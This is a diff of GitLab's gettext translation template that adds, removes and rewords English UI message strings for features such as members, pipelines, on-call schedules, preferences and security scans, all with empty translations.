@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
